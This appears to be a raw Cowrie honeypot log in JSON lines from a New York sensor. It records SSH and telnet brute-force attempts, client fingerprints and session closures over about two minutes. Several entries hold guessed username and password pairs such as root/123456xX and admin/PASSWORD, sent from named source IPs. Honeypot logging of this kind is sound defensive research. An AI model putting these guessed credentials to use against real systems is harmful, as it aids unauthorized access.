{"eventid":"cowrie.login.failed","username":"root","password":"123456xX","message":"login attempt [root/123456xX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:30.017025Z","src_ip":"223.197.186.7","session":"91075abf9438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:31.237911Z","src_ip":"223.197.186.7","session":"91075abf9438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79480791091919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:35.416259Z","src_ip":"51.38.143.2","session":"557d6dfe5837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782713413238525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:35.670870Z","src_ip":"51.38.143.2","session":"45f563016328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.763846158981323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:36.392318Z","src_ip":"51.38.143.2","session":"5c61f5552979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648261547088623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:36.456271Z","src_ip":"51.38.143.2","session":"0641c77d4e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019296884536743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:36.564317Z","src_ip":"51.38.143.2","session":"2c747f06dd6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":32850,"dst_ip":"159.203.135.109","dst_port":22,"session":"84505e036eef","protocol":"ssh","message":"New connection: 45.78.208.179:32850 (159.203.135.109:22) [session: 84505e036eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:39.048106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:39.052897Z","src_ip":"45.78.208.179","session":"84505e036eef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":60364,"dst_ip":"159.203.135.109","dst_port":22,"session":"faf794f45c0b","protocol":"ssh","message":"New connection: 103.172.20.218:60364 (159.203.135.109:22) [session: faf794f45c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:39.202366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:39.206803Z","src_ip":"103.172.20.218","session":"faf794f45c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:39.288340Z","src_ip":"45.78.208.179","session":"84505e036eef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:39.443652Z","src_ip":"103.172.20.218","session":"faf794f45c0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"PASSWORD","message":"login attempt [admin/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:40.259948Z","src_ip":"45.78.208.179","session":"84505e036eef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"passw0rd","message":"login attempt [tester/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:40.378646Z","src_ip":"103.172.20.218","session":"faf794f45c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:41.498296Z","src_ip":"45.78.208.179","session":"84505e036eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:41.607332Z","src_ip":"103.172.20.218","session":"faf794f45c0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.477776050567627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:43.230407Z","src_ip":"51.38.143.2","session":"626396ba60ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fde143927d9","protocol":"telnet","message":"New connection: 51.38.143.2:38666 (159.203.135.109:23) [session: 8fde143927d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:44.865767Z"}
{"eventid":"cowrie.session.closed","duration":30.65535020828247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:51.383005Z","src_ip":"51.38.143.2","session":"c76994c9615b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.175142765045166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:53.350013Z","src_ip":"51.38.143.2","session":"75eb39c36bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.611820459365845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:54.386438Z","src_ip":"51.38.143.2","session":"749ca3101560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55702,"dst_ip":"159.203.135.109","dst_port":22,"session":"f051e7413221","protocol":"ssh","message":"New connection: 159.203.92.129:55702 (159.203.135.109:22) [session: f051e7413221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:54.791998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:54.795682Z","src_ip":"159.203.92.129","session":"f051e7413221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:54.798762Z","src_ip":"159.203.92.129","session":"f051e7413221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":55380,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d5fa7272fda","protocol":"telnet","message":"New connection: 51.38.143.2:55380 (159.203.135.109:23) [session: 0d5fa7272fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:54.804225Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hipchat","message":"login attempt [admin/hipchat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:54.811932Z","src_ip":"159.203.92.129","session":"f051e7413221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:55.816909Z","src_ip":"159.203.92.129","session":"f051e7413221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.730716705322266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:15.596390Z","src_ip":"51.38.143.2","session":"8fde143927d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":46822,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3c2ad84316c","protocol":"telnet","message":"New connection: 51.38.143.2:46822 (159.203.135.109:23) [session: f3c2ad84316c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:18.892692Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":46826,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf0dc4e6a9ab","protocol":"telnet","message":"New connection: 51.38.143.2:46826 (159.203.135.109:23) [session: cf0dc4e6a9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:21.415791Z"}
{"eventid":"cowrie.session.closed","duration":31.38610553741455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:26.190245Z","src_ip":"51.38.143.2","session":"0d5fa7272fda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":44972,"dst_ip":"159.203.135.109","dst_port":22,"session":"197eeccb2288","protocol":"ssh","message":"New connection: 103.172.20.218:44972 (159.203.135.109:22) [session: 197eeccb2288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:34.010498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:34.015352Z","src_ip":"103.172.20.218","session":"197eeccb2288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:34.246578Z","src_ip":"103.172.20.218","session":"197eeccb2288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user1","password":"123","message":"login attempt [test_user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:35.191484Z","src_ip":"103.172.20.218","session":"197eeccb2288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:36.422576Z","src_ip":"103.172.20.218","session":"197eeccb2288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":39020,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed0f3b44c8a5","protocol":"ssh","message":"New connection: 45.78.208.179:39020 (159.203.135.109:22) [session: ed0f3b44c8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:38.852986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:38.857139Z","src_ip":"45.78.208.179","session":"ed0f3b44c8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:39.104568Z","src_ip":"45.78.208.179","session":"ed0f3b44c8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42858,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e1f42e68b84","protocol":"ssh","message":"New connection: 159.203.92.129:42858 (159.203.135.109:22) [session: 7e1f42e68b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:39.467848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:39.472140Z","src_ip":"159.203.92.129","session":"7e1f42e68b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:39.476251Z","src_ip":"159.203.92.129","session":"7e1f42e68b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ibsoft@123","message":"login attempt [admin/ibsoft@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:39.485717Z","src_ip":"159.203.92.129","session":"7e1f42e68b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"passw0rd","message":"login attempt [tester/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:40.110334Z","src_ip":"45.78.208.179","session":"ed0f3b44c8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:40.491081Z","src_ip":"159.203.92.129","session":"7e1f42e68b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:41.356226Z","src_ip":"45.78.208.179","session":"ed0f3b44c8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.512168645858765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:49.404737Z","src_ip":"51.38.143.2","session":"f3c2ad84316c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011552572250366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:59:52.427222Z","src_ip":"51.38.143.2","session":"cf0dc4e6a9ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.126.161.66","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"21679d28c394","protocol":"telnet","message":"New connection: 103.126.161.66:53476 (10.17.0.5:23) [session: 21679d28c394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:03.648591Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.126.161.66","src_port":53486,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde5878dcc7b","protocol":"telnet","message":"New connection: 103.126.161.66:53486 (10.17.0.5:23) [session: cde5878dcc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:00:03.811756Z"}
